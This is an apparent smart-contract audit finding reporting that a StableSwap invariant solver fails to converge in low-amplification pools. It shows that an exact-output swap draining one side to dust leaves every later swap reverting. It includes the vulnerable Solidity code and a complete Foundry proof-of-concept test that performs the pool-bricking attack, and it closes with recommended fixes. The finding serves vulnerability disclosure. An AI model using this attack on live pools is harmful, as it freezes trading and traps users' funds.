## Summary The StableSwap invariant solver can fail to converge for heavily imbalanced reserve vectors when amplification is very low. A trader can push a low-amp pool into such a reserve state through normal swaps. After that, later swaps revert during invariant construction before they can rebalance the pool. ## Finding Description - Root cause: `StableSwapMath.getInvariant` uses a 255-iteration Newton solver and reverts with `ConvergenceNotReached` if the iteration does not settle. Certain low-amp, highly imbalanced reserve vectors do not converge within this bound. - Attack path: deploy or use a low-amp pool, drain one side close to dust through an exact-output swap, then any later swap attempts to rebuild the invariant from the now-pathological reserve vector and reverts. - Why it happens: every swap calls `_createSwapContext`, which scales the current `reserves` and immediately calls `getInvariant`. Once `reserves` are in a non-convergent region, swaps cannot execute to move the pool back toward balance. The PoC demonstrates a two-asset pool with `baseAmp = 1` (`getCurrentAmp() == 100`) that is pushed into a live reserve vector with one side at `93,989,313` raw units. The next swap reverts with `StableSwapMath.ConvergenceNotReached`. The same root cause also covers the reported three-asset and four-asset low-amp vectors; they should be treated as the same issue rather than separate findings. `src/libraries/StableSwapMath.sol:30-80` uses a bounded Newton solver for the invariant: ```solidity function getInvariant(uint256[] memory _scaledReserves, uint256 _amplification) internal pure returns (uint256 invariant) { uint256 nCurrencies = _scaledReserves.length; uint256 totalReserves = 0; for (uint256 i = 0; i < nCurrencies; ++i) { totalReserves += _scaledReserves[i]; } if (totalReserves == 0) { return 0; } invariant = totalReserves; uint256 ampTimesCoins = _amplification * nCurrencies; for (uint256 i = 0; i < 255; ++i) { uint256 invariantProduct = invariant; for (uint256 j = 0; j < nCurrencies; ++j) { invariantProduct = (invariantProduct * invariant) / _scaledReserves[j]; } invariantProduct = invariantProduct / (nCurrencies ** nCurrencies); uint256 previousInvariant = invariant; invariant = ( (ampTimesCoins * totalReserves / AMP_PRECISION + invariantProduct * nCurrencies) * invariant ) / ( (ampTimesCoins - AMP_PRECISION) * invariant / AMP_PRECISION + (nCurrencies + 1) * invariantProduct ); if (invariant > previousInvariant) { if (invariant - previousInvariant <= 1) { return invariant; } } else { if (previousInvariant - invariant <= 1) { return invariant; } } } revert ConvergenceNotReached(); } ``` The solver has no fallback path if a low-amp, heavily imbalanced reserve vector fails to converge within 255 iterations. It simply reverts. `src/Swap.sol:89-107` makes this a pool-bricking issue because every swap recomputes the invariant from the live reserve vector before it can do anything else: ```solidity ctx.scaledReserves = new uint256[](currenciesLength); for (uint256 i = 0; i < currenciesLength; ++i) { ctx.scaledReserves[i] = StableSwapMath.scaleTo(reserves[i], _getRate(i)); } ctx.amp = getCurrentAmp(); ctx.invariant = StableSwapMath.getInvariant(ctx.scaledReserves, ctx.amp); ``` Once reserves are in a non-convergent state, future swaps revert during `_createSwapContext`, before they can move the pool back toward balance. The attacker can reach the bad state through normal exact-output settlement. `src/Swap.sol:132-150` computes the required input for a requested output: ```solidity uint256 newTokenOutReserves = _ctx.scaledReserves[_ctx.tokenOutIndex] - StableSwapMath.scaleTo(_amountOut, _getRate(_ctx.tokenOutIndex)); uint256 newTokenInReserves = StableSwapMath.getTargetReserves( _ctx.tokenOutIndex, _ctx.tokenInIndex, newTokenOutReserves, _ctx.scaledReserves, _ctx.amp, _ctx.invariant ); uint256 rawAmountIn = StableSwapMath.descale( newTokenInReserves - _ctx.scaledReserves[_ctx.tokenInIndex], _getRate(_ctx.tokenInIndex) ); ``` Then `src/Swap.sol:163-170` writes the new imbalanced reserves: ```solidity reserves[_ctx.tokenInIndex] += _result.amountIn - _result.hookFees - _result.protocolFees; reserves[_ctx.tokenOutIndex] -= _result.amountOut; ``` After that, ordinary liquidity operations cannot directly rebalance the pool. `src/Liquidity.sol:245-271` makes later deposits and withdrawals proportional to the existing reserve ratio: ```solidity for (uint256 i = 0; i < currenciesLength; ++i) { uint256 proportion = Math.mulDiv(_amounts[i], currentTotalSupply, reserves[i]); if (proportion < minProportion) { minProportion = proportion; } } shares = minProportion; for (uint256 i = 0; i < currenciesLength; ++i) { actualAmounts[i] = Math.mulDiv(shares, reserves[i], currentTotalSupply, Math.Rounding.Ceil); } ``` So once a swap writes a non-convergent low-amp reserve vector, normal swaps revert and normal LP actions only scale that same bad ratio. ## Impact Explanation Trading can be permanently or indefinitely disabled for affected low-amp pools. Users cannot repair the market through ordinary swaps because every swap reverts before settlement. Proportional liquidity operations also do not provide a normal rebalance path because they preserve the existing reserve ratio. Recovery requires trusted intervention such as changing amp, migration, or custom rescue/rebalance logic. ## Proof of Concept ```bash forge test --offline --match-path test/findings/LowAmpNonConvergenceBricksPool.t.sol ``` ```solidity // SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.30; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import {Currency} from "@uniswap/v4-core/src/types/Currency.sol"; import {PoolKey} from "@uniswap/v4-core/src/types/PoolKey.sol"; import {IHooks} from "@uniswap/v4-core/src/interfaces/IHooks.sol"; import {IPoolManager} from "@uniswap/v4-core/src/interfaces/IPoolManager.sol"; import {Hooks} from "@uniswap/v4-core/src/libraries/Hooks.sol"; import {CustomRevert} from "@uniswap/v4-core/src/libraries/CustomRevert.sol"; import {IV4Router} from "@uniswap/v4-periphery/src/interfaces/IV4Router.sol"; import {Actions} from "@uniswap/v4-periphery/src/libraries/Actions.sol"; import {Base} from "src/Base.sol"; import {StableSwapHooks} from "src/StableSwapHooks.sol"; import {StableSwapHooksFactoryHarness} from "test/testUtils/StableSwapHooksFactoryHarness.sol"; import {ExternalContractsDeployer} from "test/testUtils/ExternalContractsDeployer.sol"; import {Commands} from "test/testUtils/external/libraries/Commands.sol"; import {MockERC20} from "test/scenarios/mocks/MockERC20.sol"; import {StableSwapMath} from "src/libraries/StableSwapMath.sol"; contract LowAmpNonConvergenceBricksPoolPoC is ExternalContractsDeployer { using SafeERC20 for IERC20; uint256 private constant LP_FEE_PERCENTAGE = 0; uint256 private constant BASE_AMP = 1; uint256 private constant START_RESERVE = 611943878777; uint256 private constant TARGET_DUST = 93989313; StableSwapHooksFactoryHarness private factory; StableSwapHooks private hooks; MockERC20 private token0; MockERC20 private token1; Currency private currencyA; Currency private currencyB; address private lp = makeAddr("lp"); address private attacker = makeAddr("attacker"); function setUp() public override { super.setUp(); vm.warp(1731337000); token0 = new MockERC20("Token 0", "TK0", 18); token1 = new MockERC20("Token 1", "TK1", 18); currencyA = Currency.wrap(address(token0)); currencyB = Currency.wrap(address(token1)); factory = new StableSwapHooksFactoryHarness( IPoolManager(poolManager), makeAddr("admin"), makeAddr("protocolFeeCollector"), makeAddr("hookFeeCollector"), keccak256(type(StableSwapHooks).creationCode) ); Currency[] memory currencies = _sortedCurrencies(); Base.RateOracleConfig[] memory rateOracles = new Base.RateOracleConfig[](2); rateOracles[0] = Base.RateOracleConfig({oracle: address(0), selector: bytes4(0)}); rateOracles[1] = Base.RateOracleConfig({oracle: address(0), selector: bytes4(0)}); bytes memory code = type(StableSwapHooks).creationCode; (, bytes32 salt) = factory.mineSalt(currencies, rateOracles, LP_FEE_PERCENTAGE, BASE_AMP, code); hooks = StableSwapHooks(factory.deploy(currencies, rateOracles, LP_FEE_PERCENTAGE, BASE_AMP, salt, code)); token0.mint(lp, START_RESERVE); token1.mint(lp, START_RESERVE); token0.mint(attacker, 10 ** 30); token1.mint(attacker, 10 ** 30); vm.startPrank(lp); IERC20(address(token0)).forceApprove(address(hooks), type(uint256).max); IERC20(address(token1)).forceApprove(address(hooks), type(uint256).max); vm.stopPrank(); vm.startPrank(attacker); IERC20(address(token0)).forceApprove(address(permit2), type(uint256).max); IERC20(address(token1)).forceApprove(address(permit2), type(uint256).max); permit2.approve(address(token0), address(universalRouter), type(uint160).max, type(uint48).max); permit2.approve(address(token1), address(universalRouter), type(uint160).max, type(uint48).max); vm.stopPrank(); uint256[] memory amounts = new uint256[](2); amounts[0] = START_RESERVE; amounts[1] = START_RESERVE; vm.prank(lp); hooks.addLiquidity(amounts, new uint256[](2), 0); } function test_lowAmpPoolCanBePushedIntoNonConvergentState() public { Currency[] memory currencies = _sortedCurrencies(); _exactOutput(currencies[0], currencies[1], START_RESERVE - TARGET_DUST, type(uint128).max); assertGt(hooks.reserves(0), START_RESERVE, "input reserve increased during drain swap"); assertEq(hooks.reserves(1), TARGET_DUST); assertEq(hooks.getCurrentAmp(), 100); (bytes memory commands, bytes[] memory inputs) = _exactInputData(currencies[0], currencies[1], 1); vm.prank(attacker); vm.expectRevert( abi.encodeWithSelector( CustomRevert.WrappedError.selector, address(hooks), IHooks.beforeSwap.selector, abi.encodeWithSelector(StableSwapMath.ConvergenceNotReached.selector), abi.encodeWithSelector(Hooks.HookCallFailed.selector) ) ); universalRouter.execute(commands, inputs, block.timestamp + 100); } function _exactOutput(Currency input, Currency output, uint256 amountOut, uint256 maxIn) private { (bytes memory commands, bytes[] memory inputs) = _exactOutputData(input, output, amountOut, maxIn); vm.prank(attacker); universalRouter.execute(commands, inputs, block.timestamp + 100); } function _exactInputData(Currency input, Currency output, uint256 amountIn) private view returns (bytes memory commands, bytes[] memory inputs) { PoolKey memory poolKey = _poolKey(input, output); bool zeroForOne = Currency.unwrap(input) < Currency.unwrap(output); bytes memory actions = abi.encodePacked(uint8(Actions.SWAP_EXACT_IN_SINGLE), uint8(Actions.SETTLE_ALL), uint8(Actions.TAKE_ALL)); bytes[] memory params = new bytes[](3); params[0] = abi.encode( IV4Router.ExactInputSingleParams({ poolKey: poolKey, zeroForOne: zeroForOne, amountIn: uint128(amountIn), amountOutMinimum: 0, hookData: bytes("") }) ); params[1] = abi.encode(input, amountIn); params[2] = abi.encode(output, 0); commands = abi.encodePacked(uint8(Commands.V4_SWAP)); inputs = new bytes[](1); inputs[0] = abi.encode(actions, params); } function _exactOutputData(Currency input, Currency output, uint256 amountOut, uint256 maxIn) private view returns (bytes memory commands, bytes[] memory inputs) { PoolKey memory poolKey = _poolKey(input, output); bool zeroForOne = Currency.unwrap(input) < Currency.unwrap(output); bytes memory actions = abi.encodePacked(uint8(Actions.SWAP_EXACT_OUT_SINGLE), uint8(Actions.SETTLE_ALL), uint8(Actions.TAKE_ALL)); bytes[] memory params = new bytes[](3); params[0] = abi.encode( IV4Router.ExactOutputSingleParams({ poolKey: poolKey, zeroForOne: zeroForOne, amountOut: uint128(amountOut), amountInMaximum: uint128(maxIn), hookData: bytes("") }) ); params[1] = abi.encode(input, maxIn); params[2] = abi.encode(output, amountOut); commands = abi.encodePacked(uint8(Commands.V4_SWAP)); inputs = new bytes[](1); inputs[0] = abi.encode(actions, params); } function _poolKey(Currency a, Currency b) private view returns (PoolKey memory) { return PoolKey({ currency0: Currency.unwrap(a) < Currency.unwrap(b) ? a : b, currency1: Currency.unwrap(a) < Currency.unwrap(b) ? b : a, fee: uint24(LP_FEE_PERCENTAGE), tickSpacing: hooks.TICK_SPACING(), hooks: IHooks(address(hooks)) }); } function _sortedCurrencies() private view returns (Currency[] memory currencies) { currencies = new Currency[](2); if (address(token0) < address(token1)) { currencies[0] = currencyA; currencies[1] = currencyB; } else { currencies[0] = currencyB; currencies[1] = currencyA; } } } ``` ## Recommendation Disallow very low amplification values for supported pool sizes, or harden the invariant solver so it converges for extreme imbalances. Add regression tests for heavily imbalanced 2-, 3-, and 4-asset pools at low amp. The swap path should also reject trades that would move reserves into known non-convergent regions.

jes-sec

Top competitions